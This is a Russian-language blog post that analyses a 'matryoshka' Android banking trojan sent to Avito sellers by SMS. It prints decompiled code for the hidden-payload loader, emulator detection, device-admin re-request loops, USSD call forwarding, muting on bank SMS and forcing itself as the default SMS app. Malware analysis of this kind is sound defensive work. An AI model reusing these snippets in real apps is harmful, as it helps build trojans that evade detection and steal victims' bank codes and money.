Анализ Android малвари-матрешки

в 21:16, , рубрики: android, java, Malware, Spyware, информационная безопасность, кардинг, Разработка под android, реверс-инжиниринг

После написания статьи про анализ малвари с avito, несколько моих twitter-читателей откликнулись и прислали SMS, которые получили после публикации объявлений на avito.

Анализ Android малвари-матрешки - 1

Отчет VT

По ссылке, под видом получения MMS сообщения предлагают поставить apk. Что примечательно, в случае с МТС из прав (permissions) только обращение к карте памяти.
Анализ Android малвари-матрешки - 2 Анализ Android малвари-матрешки - 3Анализ Android малвари-матрешки - 4Анализ Android малвари-матрешки - 5

Вес 90кб, что уже вполне нормально для вредоноса. Чем меньше размер тем лучше, поскольку не всегда интернет позволяет скачать даже пару мегабайт.

После декомпиляции обнаруживается, что код не обфусцирован и это лоадер (приложение, применяемое чтобы скачать и установить другое приложение). Но, не совсем стандартный.
Как правило лоадер стучит на сервер, качает приложение и настойчиво предлагает установить. Такое используют, например, для раскрутки каких либо приложений, чтобы получить больше пользователей. Но для малвари распространение через чужой лоадер это не самый лучший вариант, потому что телефон жертвы может быть уже давно заражен и ловить там нечего

Тут-же, мы имеем матрешку — внутри apk, в папке assets лежит файл 1.apk. Размер 60кб.
Отчет VT
Декомпилировать или разархивировать его не удалось. Файл поврежден.
Разбираюсь с кодом матрешки.
После установки, якобы MMS центр копирует apk папки assets на карту памяти, при этом заменяя пару байт и сразу же запускает на установку под видом «Дополнение Google».

  static void runs(Context cnt, String name) {
        File sdCard = Environment.getExternalStorageDirectory();
        AssetManager assetManager = cnt.getAssets();
        try {
            StringBuilder buf = new StringBuilder();
            InputStream in = assetManager.open(name);
            Log.e("path", sdCard.getAbsoluteFile() + "/" + name);
            OutputStream out = new FileOutputStream(sdCard.getAbsoluteFile() + "/" + name);
            try {
                byte[] buffer = new byte[1024];
                while (true) {
                    int read = in.read(buffer);
                    if (read == -1) {
                        break;
                    }
                    out.write(buffer, 0, read);
                }
                in.close();
                out.flush();
                out.close();
                OutputStream out2 = new FileOutputStream(sdCard.getAbsoluteFile() + "/t" + name);
                InputStream replacingInputStream = new ReplacingInputStream(new ByteArrayInputStream(readfile(sdCard.getAbsoluteFile() + "/" + name)), "[PK]".getBytes("UTF-8"), "PK".getBytes("UTF-8"));
                ByteArrayOutputStream bos = new ByteArrayOutputStream();
                while (true) {
                    int b = replacingInputStream.read();
                    if (-1 != b) {
                        bos.write(b);
                        out2.write(b);
                    } else {
                        out2.flush();
                        out2.close();
                        Intent intent = new Intent("android.intent.action.VIEW");
                        intent.setDataAndType(Uri.fromFile(new File(sdCard.getAbsoluteFile() + "/t" + name)), "application/vnd.android.package-archive");
                        intent.setFlags(268435456);
                        cnt.startActivity(intent);
                        new File(sdCard.getAbsoluteFile() + "/" + name).delete();
                        return;
                    }
                }
            } catch (Exception e) {
                OutputStream outputStream = out;
            }
        } catch (Exception e2) {
        }
    }

После чего MMS центр скрывается из списка приложений. А вот дополнение остается видимым.

Будь у этого MMS центра хотя бы ошибка, о поврежденной MMS, истекшем сроке годности, и отложенная установка «Дополнения Google» было бы не так подозрительно.

Смысл лоадеров в распространении apk с 0 детектами от АВ и отсутствием прав. А правки второго файла — не надо рефакторить код. Только вот после восстановления, реакцию АВ никто не отменял.
Отчет VT после починки
Отчет VT матрешка с внутренним починеным apk
Отчет VT тоже самое, но внутренний apk переименован в jpg
«Дополнение Google» имеет намек на обфускацию. Обфускацией это назвать несколько сложно, тут всего навсего переименованы классы (имена в 1 букву), содержимое не тронуто.

Смотрим AndroidManifest.xml

Длинный список прав

  <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.RECORD_AUDIO" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
    <uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <uses-permission android:name="android.permission.CAMERA" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.WAKE_LOCK" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.READ_CALL_LOG" />

Дальше разнообразные ресиверы и фейк на Google Play, дизайн которого не соответствует «material design», поэтому на новых версиях android, он будет смотреться подозрительно. Отсутствует какая-либо проверка на валидность введенных данных. Чего-бы не ввели, все идет все на сервер.

      <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverKnock" />
        <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverAdm" />
        <receiver android:name="zzzzzz.xxxxxx.cccccc.AlarmReceiverSmsMan" />
        <receiver android:name="zzzzzz.xxxxxx.cccccc.IntentReceiver">
            <intent-filter>
                <action android:name="android.intent.action.PACKAGE_ADDED" />
                <action android:name="android.intent.action.PACKAGE_REMOVED" />
                <action android:name="android.net.conn.CONNECTIVITY_CHANGE" />
                <data android:scheme="package" />
            </intent-filter>
        </receiver>
        <receiver android:name="zzzzzz.xxxxxx.cccccc.CAdm" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
                <action android:name="android.app.action.DEVICE_ADMIN_DISABLED" />
            </intent-filter>
            <meta-data android:name="android.app.device_admin" android:resource="@xml/da" />
        </receiver>
        <receiver android:name="zzzzzz.xxxxxx.cccccc.IMMon">
            <intent-filter android:priority="100">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <receiver android:name="zzzzzz.xxxxxx.cccccc.BootReciv" android:enabled="true">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
        <service android:name="zzzzzz.xxxxxx.cccccc.Knock" />
        <service android:name="zzzzzz.xxxxxx.cccccc.SrvAdm" />
        <service android:name="zzzzzz.xxxxxx.cccccc.IMService" />
        <receiver android:name="zzzzzz.xxxxxx.cccccc.SmsReceiver" android:permission="android.permission.BROADCAST_SMS">
            <intent-filter>
                <action android:name="android.provider.Telephony.SMS_DELIVER" />
            </intent-filter>
        </receiver>
        <receiver android:name="zzzzzz.xxxxxx.cccccc.MmsReceiver" android:permission="android.permission.BROADCAST_WAP_PUSH">
            <intent-filter>
                <action android:name="android.provider.Telephony.WAP_PUSH_DELIVER" />
                <data android:mimeType="application/vnd.wap.mms-message" />
            </intent-filter>
        </receiver>
        <activity android:name="zzzzzz.xxxxxx.cccccc.ComposeSmsActivity">
            <intent-filter>
                <action android:name="android.intent.action.SEND" />
                <action android:name="android.intent.action.SENDTO" />
                <category android:name="android.intent.category.DEFAULT" />
                <category android:name="android.intent.category.BROWSABLE" />
                <data android:scheme="sms" />
                <data android:scheme="smsto" />
                <data android:scheme="mms" />
                <data android:scheme="mmsto" />
            </intent-filter>
        </activity>
        <service android:name="zzzzzz.xxxxxx.cccccc.HeadlessSmsSendService" android:permission="android.permission.SEND_RESPOND_VIA_MESSAGE" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.RESPOND_VIA_MESSAGE" />
                <category android:name="android.intent.category.DEFAULT" />
                <data android:scheme="sms" />
                <data android:scheme="smsto" />
                <data android:scheme="mms" />
                <data android:scheme="mmsto" />
            </intent-filter>
        </service>
        <activity android:label="@string/title_activity_activity_blank" android:name="zzzzzz.xxxxxx.cccccc.ActivityStart">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:label="@string/sda" android:name="zzzzzz.xxxxxx.cccccc.MAC" />
        <activity android:label="@string/cc" android:name="zzzzzz.xxxxxx.cccccc.ActivityGetCC" />
    </application>

Приложение хочет использовать функции администратора устройства, вот с такими правами:

  <?xml version="1.0" encoding="utf-8"?>
<device-admin>
    <uses-policies>
        <limit-password />
        <watch-login />
        <reset-password />
        <force-lock />
        <wipe-data />
        <expire-password />
        <encrypted-storage />
        <disable-camera />
    </uses-policies>
</device-admin>

После просмотра кода, создается ощущение, что все возможные права разработичик вписал про запас или бездумно скопировал с документации
. Поскольку никакие права из раздела «device-admin» не используются и некоторые из прописанных в AndroidManifest.xml. И по всему коду, видимо для удобства реверсера, разработчик оставил дебаг вывод в LogCat.
Запрос админ прав идет с текстом: «Разрешения требуемые для оптимальной работы». На отнятие прав никакого сообщения не выбрасывает. После отнятия прав, зловред попросит их еще раз

   public CharSequence onDisableRequested(Context context, Intent intent) {
        Intent intent2 = new Intent(context, MAC.class);
        intent2.addFlags(268435456);
        context.startActivity(intent2);
        return "";
    }
    
    public class MAC extends Activity {
    private DevicePolicyManager a;

    public void onCreate(Bundle bundle) {
        super.onCreate(bundle);
        this.a = (DevicePolicyManager) getSystemService("device_policy");
        Parcelable componentName = new ComponentName(this, CAdm.class);
        if (!this.a.isAdminActive(componentName)) {
            Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
            intent.putExtra("android.app.extra.DEVICE_ADMIN", componentName);
            intent.putExtra("android.app.extra.ADD_EXPLANATION", "");
            startActivity(intent);
        }
        finish();
    }
}

Ссылка на гейт (сервер, куда обращается бот) plain-text. Общение с ботом в обе стороны происходит в формате JSON. Разбирать протокол мне было не интересно, поэтому продолжила изучение кода.

Проверка на запуск с эмулятора

    public static boolean m6a(Context context) {
        boolean equals = ((TelephonyManager) context.getSystemService("phone")).getDeviceId().equals("000000000000000");
        boolean z = Build.MODEL.contains("google_sdk") || Build.MODEL.contains("Emulator") || Build.MODEL.contains("Android SDK") || Build.FINGERPRINT.startsWith("generic") || Build.FINGERPRINT.startsWith("unknown") || Build.MODEL.contains("Android SDK built for x86") || Build.MANUFACTURER.contains("Genymotion");
        boolean z2 = Build.BRAND.startsWith("generic") && Build.DEVICE.startsWith("generic");
        return equals || z || z2;
    }

Бот уносит на сервер историю браузера, список контактов, список установленных приложений, историю звонков, текущее местоположение, отправленные смс.

Умеет не только переадресацию звонков, но и USSD

 static String b(Context context, String str) {
        String str2 = "**21*" + str + "#";
        Intent intent = new Intent("android.intent.action.DIAL");
        intent.setData(Uri.fromParts("tel", str2, "#"));
        intent.setFlags(268435456);
        context.startActivity(intent);
        return "";
    }
    
static String a(Context context, String str) {
        SystemClock.sleep(5000);
        Intent intent = new Intent("android.intent.action.CALL", Uri.parse("tel:" + str.toString() + Uri.encode("#")));
        intent.setFlags(268435456);
        context.startActivity(intent);
        return "";
    }

А когда придет заветная SMS от сбербанка — бот отключит на телефоне звук

 ((AudioManager) getSystemService("audio")).setRingerMode(0);

А если версия андроида от 4.4, то будем требовать поставить себя приложением для смс по-умолчанию
В версии 4.4 запрещено скрывать смс любым приложениям, кроме приложения по умолчанию. В других версиях андроида можно запретить скрывать смс, просто поставив Hangouts и выбрав для смс его.

 public static void m2a(Context context) {
        if (VERSION.SDK_INT >= 19) {
            String className = ((RunningTaskInfo) ((ActivityManager) context.getSystemService("activity")).getRunningTasks(1).get(0)).topActivity.getClassName();
            if (!className.equalsIgnoreCase("com.android.settings.DeviceAdminAdd") && !className.equalsIgnoreCase("com.android.settings.SmsDefaultDialog") && !Sms.getDefaultSmsPackage(context).equalsIgnoreCase(context.getPackageName())) {
                Intent intent = new Intent("android.provider.Telephony.ACTION_CHANGE_DEFAULT");
                intent.putExtra("package", context.getPackageName());
                intent.addFlags(268435456);
                context.startActivity(intent);
            }
        }
    }

А под видом Beeline MMS центра оказался тот же бот из матрешки, только без обертки.

Подводя итог, имеем интересную идею с матрешкой и отвратительное исполнение основного бота.

Автор: Irenica

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js